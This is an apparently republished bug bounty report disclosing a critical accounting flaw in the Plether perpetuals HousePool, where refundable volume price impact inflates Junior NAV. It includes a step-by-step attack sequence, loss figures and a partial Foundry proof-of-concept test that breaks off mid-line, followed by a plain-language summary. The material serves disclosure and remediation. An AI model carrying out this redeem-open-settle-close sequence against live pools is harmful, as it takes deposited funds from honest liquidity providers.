Refundable positive VPI is priced into Junior NAV during LP epoch settlement, leading to direct theft of Junior LP funds
A skew-increasing trade pays a volume price impact charge that the pool books as Junior revenue immediately, but the same position can later reclaim that charge when it closes. A Junior LP who redeems while such a position is open is therefore paid from an inflated share price, and the remaining Junior LPs fund the refund.
- Disclosed after under an hour
#98377 [SC-Critical] Refundable positive VPI is priced into Junior NAV during LP epoch settlement, leading to direct theft of Junior LP funds
Submitted on Nov 7th 2026 at 13:56:13 UTC by @Abhan for Audit Competition | Plether
- Report ID: #98377
- Report Type: Smart Contract
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/HousePool.sol
- Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
A skew-increasing open pays a volume price impact (VPI) charge V, which the HousePool immediately books as realized Junior revenue. But when the same position closes and skew returns, the lifetime VPI clamp refunds V, less the close fee, to that position from pool cash. Every Junior redemption settled while such a position is open is therefore priced from a NAV inflated by money the pool still owes back, and the Junior LPs who remain pay for it when the refund leaves the pool. An unprivileged Junior LP who also trades can exploit this on purpose: queue a redemption, open at the skew cap after the request cutoff, let anyone settle the epoch, then close. The PoC uses release parameters, the production router and no price movement. In it, the attacker profits each cycle, and the honest Junior LP receives 799.92 fewer USDG for the same shares on a later, fully funded redemption. In production this is a permissionless, repeatable theft of deposited Junior LP funds. Even with no attacker, any Junior who redeems while a skewed position is open is overpaid at the remaining Juniors' expense.
Vulnerability Details
When a trader opens a position that increases skew, the engine charges a VPI amount V = vpiFactor · (S_post² − S_pre²) / (2D). CfdEngineSettlementSidecar.executeOpen forwards it to the HousePool as Revenue with CashArrived, and the pool adds it to accountedAssets immediately:
// CfdEngineSettlementSidecar.sol L454-L464 (executeOpen)
if (delta.tradeCostAssets > 0) {
uint256 poolCashInflowAssets = uint256(delta.tradeCostAssets) - protocolFeeCreditedAssets;
if (poolCashInflowAssets > 0) {
IHousePool(host.pool())
.recordClaimantInflow(
poolCashInflowAssets,
IHousePool.ClaimantInflowKind.Revenue,
IHousePool.ClaimantInflowCashMode.CashArrived
);
}
}
// HousePool.sol L640-L642 (recordClaimantInflow)
if (cashMode == IHousePool.ClaimantInflowCashMode.CashArrived) {
accountedAssets += amount;
}
From that moment, LP pricing treats V as Junior equity. HousePoolAccountingLib.buildReconcileSnapshot derives distributable LP equity only from physical assets, the terminal price delta and trader claims. It has no term for VPI that an open position can still reclaim:
// HousePoolAccountingLib.sol L63-L76 (buildReconcileSnapshot)
uint256 terminalAssets = engineSnapshot.physicalAssets;
uint256 terminalLiabilities = engineSnapshot.traderClaimBalanceAssets;
int256 terminalDelta = engineSnapshot.terminalLpPriceDeltaAssets;
if (terminalDelta >= 0) {
terminalAssets += uint256(terminalDelta);
} else {
// This form also handles `type(int256).min` without negating it directly.
terminalLiabilities += uint256(-(terminalDelta + 1)) + 1;
}
if (terminalAssets >= terminalLiabilities) {
snapshot.distributable = terminalAssets - terminalLiabilities;
} else {
snapshot.deficit = terminalLiabilities - terminalAssets;
}
At the next settleLpEpoch, _reconcile books the increase. The waterfall credits everything above Senior's entitlement to Junior (HousePoolWaterfallAccountingLib.sol L158: nextState.juniorPrincipal += remaining;), and the epoch's Junior redemptions are priced from that principal:
// HousePool.sol L835-L840 (LP epoch settlement)
_reconcile(accountingSnapshot, statusSnapshot);
_checkpointEngineCarryIndexes();
result.cutoffEpoch = cutoffEpoch;
RedemptionPhase memory juniorPhase;
juniorPhase.pricingPrincipal = juniorPrincipal;
However, V has not been earned. When the same position later reduces skew, CloseAccountingLib.buildCloseState computes a negative VPI delta. The lifetime clamp limits that refund to what the position paid, but it does not cancel it:
// CloseAccountingLib.sol L112-L118
// Clamp so lifetime VPI (accrued + delta) never goes negative. Prevents LP sandwich attacks
// where an attacker opens at high depth, reduces pool depth, then closes to extract a
// net-negative lifetime VPI rebate. This rule is identical in live and oracle-frozen markets; frozen-market
// stale-price risk is priced separately through frozenSpreadAssets.
if (state.proportionalAccrualAssets + state.vpiDeltaAssets < 0) {
state.vpiDeltaAssets = -state.proportionalAccrualAssets;
}
CfdEnginePlanLib._planCloseActionSettlement nets the close execution fee against this refund and records the remainder as an action rebate. That rebate is capped only by pool cash that is free of trader claims (CfdEnginePlanLib.sol L973-L978), and _executeClose pays it directly out of the pool:
// CfdEnginePlanLib.sol L1041-L1061 (_planCloseActionSettlement)
int256 actionNetAssets = cs.vpiDeltaAssets
+ int256(
cs.executionFeeAssets + cs.frozenSpreadAssets + delta.pendingCarryAssets - delta.realizedCarryAssets
);
...
} else if (actionNetAssets < 0) {
delta.actionRebateAssets = uint256(-actionNetAssets);
}
// CfdEngineSettlementSidecar.sol L621-L624 (_executeClose)
if (delta.actionRebatePaidAssets > 0) {
IHousePool(host.pool()).payOut(address(clearinghouse), delta.actionRebatePaidAssets);
clearinghouse.settleAssets(delta.account, int256(delta.actionRebatePaidAssets));
}
So for the whole life of the position, Junior NAV contains an amount the pool will hand back. Anyone whose Junior redemption settles in that window is paid a share of it, and the Junior LPs who stay fund the refund. Let Junior equity be J before the open and the redeemer's share be f, and ignore carry, which is negligible over a few minutes. The accounting then runs as follows:
| Step | Pool cash | Junior NAV |
|---|---|---|
Open: the position pays V (the open fee goes to the treasury) |
+V |
J + V |
| Epoch settles and the redeemer exits | −f·(J + V) |
(1 − f)·(J + V) |
Close: the clamp refunds V − closeFee |
−(V − closeFee) |
(1 − f)·J − f·V + closeFee |
Compared with no trade, the redeemer ends f·V richer and the remaining Juniors end f·V − closeFee poorer.
This happens passively: any honest Junior who redeems while any trader's skew-increasing position is open is overpaid. It can also be done deliberately by a Junior LP who is also the trader. Such an LP collects f·V on the LP leg, while its trading leg costs only the two execution fees: it pays V + openFee and gets V − closeFee back. Its net gain is f·V − openFee − closeFee. The remaining Juniors lose that gain plus the open fee, which went to the treasury.
The deliberate path uses only public, permissionless calls. Early in an LP epoch, the attacker requests a redemption of its Junior shares, which locks the request to the next hour boundary. The shares can be bought just for this, because Junior deposits are uncapped: TrancheVault.maxRequestDeposit returns type(uint256).max for Junior. After the epoch's 300-second request cutoff, the attacker submits a skew-increasing open up to the maxSkewRatio cap through router.commitOrder(OrderRequest), and any keeper executes it. Other Juniors who react can only queue for the following epoch. At the boundary anyone calls router.settleLpEpoch. The attacker claims its redemption, priced with V inside Junior NAV, and then closes. The close reduces skew, so it is always admissible, and the clamp refunds V − closeFee from pool cash.
Nothing interrupts the sequence. NoLpEpochProgress does not fire, because a request is queued. The rebate is far below free pool cash, so nothing is waived. Degraded mode is not reached, and the posted margin is returned on close.
The protocol already applies the right rule to the opposite sign. The negative-VPI reserve "is excluded from the terminal price curve, so LPs cannot withdraw it as marked equity before the matching position obligation settles" (WHITEPAPER L887-L888). The public trading-costs page also calls an open-time rebate "provisional", because it "may be reclaimed when that exposure closes". Positive VPI is the mirror case: cash the pool holds now but owes back if skew reverses. Yet it gets no matching exclusion, so Junior LPs who exit while it is in NAV take part of it with them.
Impact Details
The funds at risk are the Junior LPs' USDG deposits held by HousePool. The bug moves that principal from the Junior LPs who stay in the pool to whoever redeems while a skew-increasing position is open, and an attacker can arrange to be that redeemer. This is the in-scope Critical impact "Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield". What the honest LP loses is deposited capital, not yield, and it ends up with the attacker.
All figures below come from the attached PoC. It runs with the release parameters from DEPLOYMENT.md, sends trades through the production V3 router, holds the price constant, and compares each attack against a no-attack control started from the same snapshot on the same clock.
In the base case the pool holds 4,000,000 Senior and 6,000,000 Junior. The attacker owns 3,600,000 of the Junior (f ≈ 0.60) and an honest LP owns 2,400,000. The attacker opens 4,000,000 of notional at the 40% skew cap and pays V = 7,999.9984 USDG. Its redemption settles 4,799.998241 USDG higher than in the control, which is exactly f·V. On close, it gets V − closeFee = 6,399.9984 back in full. After both execution fees and 0.50 of carry, the attacker gains 1,599.49 USDG from a single cycle with a position held for about three minutes. The honest Junior loses 3,199.69 USDG, and Senior is unaffected.
The loss shows up in tokens actually paid out, not only in share price. Later, the honest Junior redeems the same quarter of its shares in both branches through the public requestRedeem, settleLpEpoch and claimRedeem path, and both requests are fully funded. Its wallet receives 599,979.907408 USDG in the control and 599,179.984192 USDG after the attack: 799.923216 USDG less for identical shares. The remaining 2,399.77 is lost on the shares it still holds.
The attacker needs capital, not an existing large share, because Junior deposits are uncapped. Take an honest pool of 6,000,000 Senior and 4,000,000 Junior. An attacker who deposits 14,000,000 of fresh Junior capital gains 7,252.40 USDG per cycle, while the honest Junior loses 11,092.59 USDG, or 0.277% of its deposit. In an existing pool split 60% Senior and 40% Junior, the Junior-withdrawal covenant limits the attacker to just over 62% of Junior. At that share the attacker still gains 1,779.49 and the honest Junior loses 3,379.69 (0.224%). At the widest oracle confidence the protocol accepts, which shifts the execution price against the attacker on both legs, the base case still nets the attacker 197.09 while the honest Junior loses 1,796.89. The competition scope states that a high capital requirement alone does not lower severity.
In general the attacker earns about (20f − 8) bps of the skew-cap notional per cycle, so at zero confidence the attack pays from roughly f = 0.40 upward. The other Juniors always lose the attacker's gain plus the open fee, so below break-even the attack still works as griefing: at f = 0.30 the attacker loses 800.50 and the honest Junior still loses 799.70. The cycle can be repeated, because a fresh Junior deposit can be activated, wait out its cooldown and be redeemed with full funding within three hours.
No attacker is needed for honest LPs to lose. If any trader holds a skew-increasing position across an LP settlement, every Junior redemption in that epoch is overpaid by its share of that trader's refundable VPI. At the release skew cap that is up to 8 bps of pool depth, and the Juniors who stay pay it back when the trader closes. In the PoC, an honest LP holding 60% of Junior redeems and receives 4,799.998241 more than with no trade, and the remaining Junior ends 3,199.69 worse off.
Recommendation
Treat the positive lifetime VPI of open positions as a contingent liability in LP pricing until the clamp can no longer return it. Either:
- subtract
Σ max(vpiAccrued, 0)over open positions, or a per-side aggregate maintained on open, close and liquidation, fromdistributableinHousePoolAccountingLib.buildReconcileSnapshot; or - route positive VPI into a dedicated impact reserve that is excluded from LP pricing, mirroring the exclusion already applied to the negative-VPI reserve. Release the unrefunded part to LP revenue when the position closes or is liquidated.
References
- VPI booked as pool revenue at open: CfdEngineSettlementSidecar.sol#L454-L464
- LP equity has no refundable-VPI term: HousePoolAccountingLib.sol#L63-L77
- Junior redemptions priced from the inflated principal: HousePool.sol#L835-L840
- Lifetime VPI clamp caps the refund at V but does not cancel it: CloseAccountingLib.sol#L112-L118
- VPI refund turned into an action rebate: CfdEnginePlanLib.sol#L1041-L1061
- Rebate paid out of the pool: CfdEngineSettlementSidecar.sol#L621-L624
Proof of Concept
Proof of Concept
The vulnerability is demonstrated by a runnable Foundry test against the audit repository, immunefi-team/audit-comp-plether at commit a82d4fefb02768e5b3bddcc97dee371eee24fea8. The complete test code is included at the end of this section.
The test extends the repository's own BasePerpTest harness (packages/perps/test/perps/BasePerpTest.sol) and does not modify any contract under src/. The only mocks are the repository's Pyth and USDG test contracts. BasePerpTest deploys the repository's LegacyOrderRouterHarness, which inherits the production OrderRouter unchanged and only adds a test-only scalar commit overload that this test never calls. Every trade goes through the production V3 entry point IPerpsTraderActions.commitOrder(OrderRequest) and is executed by an arbitrary keeper address. Every LP deposit and redemption uses the public request → router.settleLpEpoch → claim flow, and no protocol contract is impersonated.
The test applies the release parameters from DEPLOYMENT.md: vpiFactor 0.01e18, maxSkewRatio 0.4, 4 bps execution fee, 20/10 bps margins, 10 bps maximum confidence, 2,500 bps adverse multiplier, Senior cap 40M/80% and 1 USDG seeds. Each attack is compared with a no-attack control that starts from the same EVM snapshot and follows the same clock. The price stays at 1.00 throughout.
Step-by-step (test_Deliberate_AttackerProfits_VictimReceivesLessUsdg)
- Setup. An honest LP deposits 2,400,000 Junior, the attacker deposits 3,600,000 Junior (
f ≈ 0.60) and a Senior LP deposits 4,000,000, all through the public async deposit flow. Pool depthD= 10,000,002. The clock moves to an epoch boundarye. e + 60 s: the attacker callsjuniorVault.requestRedeemfor all its Junior shares. The request matures ate + 3600.e + 3480(120 s before maturity, after the 300 s request cutoff): the attacker commits a LONG open of 40,000 lots (N= 4,000,000 USDG) with 40,000 USDG margin, and a keeper executes it. The position paysV= 7,999.9984 USDG of VPI (= 0.01 · 4,000,000² / (2 · 10,000,002)) plus a 1,600 USDG open fee to the treasury. JuniortotalAssetsrises from 5,999,892.64 to 6,007,892.63. An order one lot larger is rejected withOpenRevertCode4SKEW_TOO_HIGH, read from the authenticated order receipt.e + 3600: a third party callsrouter.settleLpEpoch, and the attacker claims its redemption. It receives 3,604,734.244805 USDG, against 3,599,934.246564 in the control: +4,799.998241, which isf·V.- Close: the attacker closes the full position at the same price. Pool depth is now 6,403,267.75, so the uncapped close VPI would be 12,493.62. The clamp limits it, and the emitted
ActionRebateSettledshows 6,399.9984 assessed, 6,399.9984 paid and 0 waived. That is exactlyV − closeFee. - Later: the honest LP requests redemption of a quarter of its shares, the next epoch settles, and it claims. Both branches fully fund this request. Its wallet receives 599,979.908423 USDG in the control and 599,179.985207 USDG after the attack: 799.923216 USDG less for identical shares.
- Result vs control: attacker +1,599.494196 USDG; honest Junior −3,199.692865 USDG (the realized shortfall plus 2,399.77 on its remaining shares); Senior unchanged; treasury +1,600.
Other scenarios covered by the test
| Test | What it shows | Result |
|---|---|---|
test_Deliberate_AtMaxAcceptedConfidence |
Same cycle with every feed at the 10 bps confidence ceiling | Attacker +197.09, honest Junior −1,796.89 |
test_FreshCapital_AttackerDepositsIntoHonestPool |
Honest pool of 6M Senior / 4M Junior; attacker deposits 14M fresh Junior | Attacker +7,252.40, honest Junior −11,092.59 (0.277%) |
test_SeniorCovenantBoundShare |
60/40 pool, attacker at the covenant-bound share (f ≈ 0.62) |
Attacker +1,779.49, honest Junior −3,379.69 |
test_BelowBreakEven_VictimStillLoses |
f = 0.30 |
Attacker −800.50, honest Junior still −799.70 |
test_Passive_HonestRedeemerOverpaid_RemainingJuniorPays |
No attacker: an unrelated trader's position is open while an honest Junior redeems | Redeemer +4,799.998241, remaining Junior −3,199.69 |
test_RefundIndependentOfRedemption |
Refund with and without the redemption | 6,393.60 vs 6,399.9984 (the clamp caps it at V − fee) |
test_CycleTiming |
Fresh deposit → cooldown → funded redemption; a request made after the cutoff | Funded redemption at e0 + 10,800 s; a late request lands one epoch later |
Setting vpiFactor to 0 in the test's _riskParams() removes the effect entirely. The redemption uplift becomes 0, the attacker loses its two fees (−3,200.50) and the honest Junior is unaffected. The test's VPI assertions then fail by design.
How to run
git clone https://github.com/immunefi-team/audit-comp-plether.git
cd audit-comp-plether
git checkout a82d4fefb02768e5b3bddcc97dee371eee24fea8
git submodule update --init --recursive
mkdir -p packages/perps/test/poc
# save the test code below as packages/perps/test/poc/PositiveVpiJuniorNav.t.sol
cd packages/perps
FOUNDRY_TEST=test/poc FOUNDRY_SCRIPT=test/poc forge test --match-path test/poc/PositiveVpiJuniorNav.t.sol -vv
The two FOUNDRY_* variables limit compilation to the PoC. The package builds with via-IR, so compiling its whole test suite takes much longer; running without them also works. Expected result: Suite result: ok. 8 passed; 0 failed; 0 skipped, with the values above in the logs.
PoC code
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
import {BasePerpTest} from "../perps/BasePerpTest.sol";
import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol";
import {CfdEnginePlanTypes} from "@plether/perps/CfdEnginePlanTypes.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {ICfdEngineSettlementSidecar} from "@plether/perps/interfaces/ICfdEngineSettlementSidecar.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {IPerpsTraderActions} from "@plether/perps/interfaces/IPerpsTraderActions.sol";
import {Vm} from "forge-std/Vm.sol";
import {console2} from "forge-std/console2.sol";
/// @title Positive VPI is priced into Junior NAV while it is still refundable to the trader
/// @notice A skew-increasing open pays VPI `V` into the HousePool as Revenue. Junior share price includes `V`
/// immediately, but the lifetime VPI clamp refunds `V` (minus the close fee) to the same position when it
/// closes and skew returns. A Junior redemption settled in between is paid a pro-rata share of `V` that the
/// remaining Junior LPs fund when the refund leaves the pool.
/// @dev Every trade enters through the production V3 `IPerpsTraderActions.commitOrder(OrderRequest)` and is executed
/// by an untrusted keeper call. LP epochs settle through the permissionless `router.settleLpEpoch`. Release
/// parameters from `packages/perps/DEPLOYMENT.md`. Each attack is compared against a no-attack control that
/// starts from the same EVM snapshot and follows the same clock.
contract PositiveVpiJuniorNavTest is BasePerpTest {
address internal constant ATTACKER = address(0xA11CE); // Junior LP who also trades
address internal constant VICTIM = address(0xB0B); // honest Junior LP who stays in the pool
address internal constant SENIOR_LP = address(0x5E1);
address internal constant OTHER_TRADER = address(0x7EAD); // unrelated trader (passive variant)
uint256 internal constant PRICE = 1e8; // basket 1.00, unchanged for the whole test
uint256 internal constant LOT = 1e20; // positionSizeQuantum: 100 synthetic tokens
uint256 internal constant TRADER_CASH = 200_000e6;
uint256 internal constant MAX_CONF = PRICE * 10 / 10_000; // basketMaxConfidenceRatioBps = 10 (accepted, not >)
bytes32 internal constant ACTION_REBATE_TOPIC = ICfdEngineSettlementSidecar.ActionRebateSettled.selector;
/// @dev When the honest Junior is pinned at the Junior-withdrawal covenant it can barely redeem; measure share value.
bool internal victimValueOnly;
struct Plan {
bool trade; // false = no-attack control
bool redeem; // false = nobody redeems while the position is open
address redeemer; // Junior LP whose full redemption settles while the position is open
address trader; // account that opens and later closes the position
uint256 conf; // per-feed Pyth confidence (0 or MAX_CONF)
}
struct Result {
uint256 depthAtOpen; // pool.totalAssets() before the open
uint256 notional; // N, USDG
uint256 vpiCharged; // V, USDG (position.vpiAccrued after the open)
uint256 treasuryOpenFee; // treasury delta caused by the open
uint256 juniorAssetsBeforeOpen;
uint256 juniorAssetsAfterOpen;
uint256 redeemerUsdg; // USDG actually received for the full redemption
uint256 depthAtClose; // pool.totalAssets() right before the close
uint256 rebateAssessed; // ActionRebateSettled.assessedAssets on the close
uint256 rebatePaid;
uint256 rebateWaived;
int256 traderPnl; // clearinghouse balance change of the trader over the open+close round trip
uint256 victimClaimUsdg; // USDG received by VICTIM on a later, fully funded quarter redemption
uint256 victimResidualValue; // convertToAssets of VICTIM's remaining shares after that claim
uint256 seniorAssets;
uint256 treasury;
}
// ------------------------------------------------------------------------------------------------------------
// Release configuration
// ------------------------------------------------------------------------------------------------------------
function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
return CfdTypes.RiskParams({
vpiFactor: 0.01e18,
maxSkewRatio: 0.4e18,
maintMarginBps: 10,
initMarginBps: 20,
fadMarginBps: 300,
baseCarryBps: 500,
minBountyAssets: 1e6,
bountyBps: 10,
keeperShareBps: 5000,
protocolShareBps: 0
});
}
function _initialJuniorSeedDeposit() internal pure override returns (uint256) {
return 1e6;
}
function _initialSeniorSeedDeposit() internal pure override returns (uint256) {
return 1e6;
}
function _initialJuniorDeposit() internal pure override returns (uint256) {
return 0;
}
function setUp() public override {
super.setUp();
_setSeniorCapacity(40_000_000e6, 8000);
IOrderRouterAdminHost.RouterConfig memory config = _routerConfig();
config.adverseConfidenceMultiplierBps = 2500;
_setRouterConfig(config);
// The timelock warps above end inside the weekend market closure; resume on the next Monday 10:00 UTC.
vm.warp(SETUP_TIMESTAMP + 7 days);
assertFalse(engine.isOracleFrozen(), "regular trading hours");
assertEq(engine.executionFeeBps(), 4, "release execution fee");
assertEq(engine.settlementBufferBps(), 25, "release settlement buffer");
assertEq(router.pletherOracle().basketMaxConfidenceRatioBps(), 10, "release confidence cap");
assertEq(router.pletherOracle().adverseConfidenceMultiplierBps(), 2500, "release adverse multiplier");
}
function _seedLps(
uint256 senior,
uint256 attackerJunior,
uint256 victimJunior
) internal {
// Junior first: Senior capacity is bounded by maxSeniorShareBps (80%) of the tranche total.
_publicDeposit(juniorVault, VICTIM, victimJunior);
_publicDeposit(juniorVault, ATTACKER, attackerJunior);
_publicDeposit(seniorVault, SENIOR_LP, senior);
// Leave every deposit cooldown behind and start on a fresh hourly epoch boundary.
vm.warp(((vm.getBlockTimestamp() / 3600) + 2) * 3600);
}
/// @dev Public async deposit: requestDeposit -> permissionless router.settleLpEpoch -> claimDeposit.
function _publicDeposit(
TrancheVault vault,
address lp,
uint256 amount
) internal {
settlementToken.mint(lp, amount);
vm.startPrank(lp);
settlementToken.approve(address(vault), amount);
uint256 requestId = vault.requestDeposit(amount, lp, lp);
vm.stopPrank();
vm.warp(vault.depositEpochStart(requestId));
_settleEpoch();
assertEq(vault.claimableDepositRequest(requestId, lp), amount, "deposit activated in full");
vm.prank(lp);
vault.claimDeposit(requestId, amount, lp, lp);
}
// ------------------------------------------------------------------------------------------------------------
// Production entry points
// ------------------------------------------------------------------------------------------------------------
function _commit(
address account,
uint256 size,
uint256 margin,
uint256 targetPrice,
bool isClose
) internal returns (uint64 orderId) {
uint256 window = router.maxExecutionWindowSeconds();
OrderV3Types.OrderRequest memory request = OrderV3Types.OrderRequest({
clientOrderId: keccak256(abi.encode(account, router.nextCommitId())),
side: CfdTypes.Side.LONG,
sizeDelta: size,
marginDelta: margin,
targetPrice: targetPrice,
isClose: isClose,
bounds: OrderV3Types.ExecutionBounds({
submitBy: uint64(vm.getBlockTimestamp() + window),
executionWindowSeconds: uint32(window),
allowedExecutionModes: 7,
expectedConfigHash: router.lifecycleBook().currentExecutionConfigHash(),
maxExecutionBountyAssets: type(uint256).max,
maxExecutionNotionalAssets: type(uint256).max,
maxGrossAccountDebitAssets: type(uint256).max,
maxActionChargeAssets: type(uint256).max,
maxExplicitFeesAssets: type(uint256).max,
maxPostPositionSize: type(uint256).max,
minPostSettlementBalanceAssets: 0,
minPostPositionEquityAssets: 0,
maxPostLeverageBps: type(uint32).max
})
});
vm.prank(account);
orderId = IPerpsTraderActions(address(router)).commitOrder(request);
}
/// @dev Same as BasePerpTest._mockPythUpdateData but with a per-feed Pyth confidence.
function _pyth(
uint256 conf
) internal returns (bytes[] memory updateData) {
vm.roll(vm.getBlockNumber() + 1);
vm.warp(vm.getBlockTimestamp() + 1);
uint256 publishTime = _mockHistoricalPublishTime();
baseMockPyth.setAllUniquePrices(
_basePythFeedIds(),
SafeCast.toInt64(SafeCast.toInt256(PRICE)),
SafeCast.toUint64(conf),
int32(-8),
publishTime,
publishTime == 0 ? 0 : publishTi
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the pool counts refundable positive volume price impact as realised Junior equity without subtracting it as a contingent liability until the position closes.
Impact
An attacker can repeatedly take a share of other Junior LPs' deposited funds, and even without an attacker any Junior who redeems while a skewed position is open is overpaid at the remaining Juniors' expense.
What the attacker needed
Junior LP shares held or freshly deposited; redemption request before epoch cutoff; skew-increasing trade after cutoff; keeper executes the order
The fix
Positive lifetime VPI of open positions should be excluded from LP pricing, either by subtracting it from distributable equity or by routing it into a reserve excluded from LP pricing until the position closes.
How it was found
- The attacker requests redemption of its Junior shares early in an LP epoch.
- After the epoch request cutoff, the attacker opens a skew-increasing position at the skew cap through the router.
- A third party settles the LP epoch and the attacker claims its redemption, priced with the refundable charge included.
- The attacker closes the position and the clamp refunds the charge from pool cash.
- A later honest Junior redemption receives less than in a no-attack control.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A pool lets people deposit money and earn from trading fees. When a trader opens a large trade, they pay an extra charge that the pool counts as profit straight away. But if that trade later closes, the pool gives most of the charge back, so the 'profit' was never really earned. Anyone who withdraws their deposit in between is paid too much, and the people who stay in the pool lose the difference.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.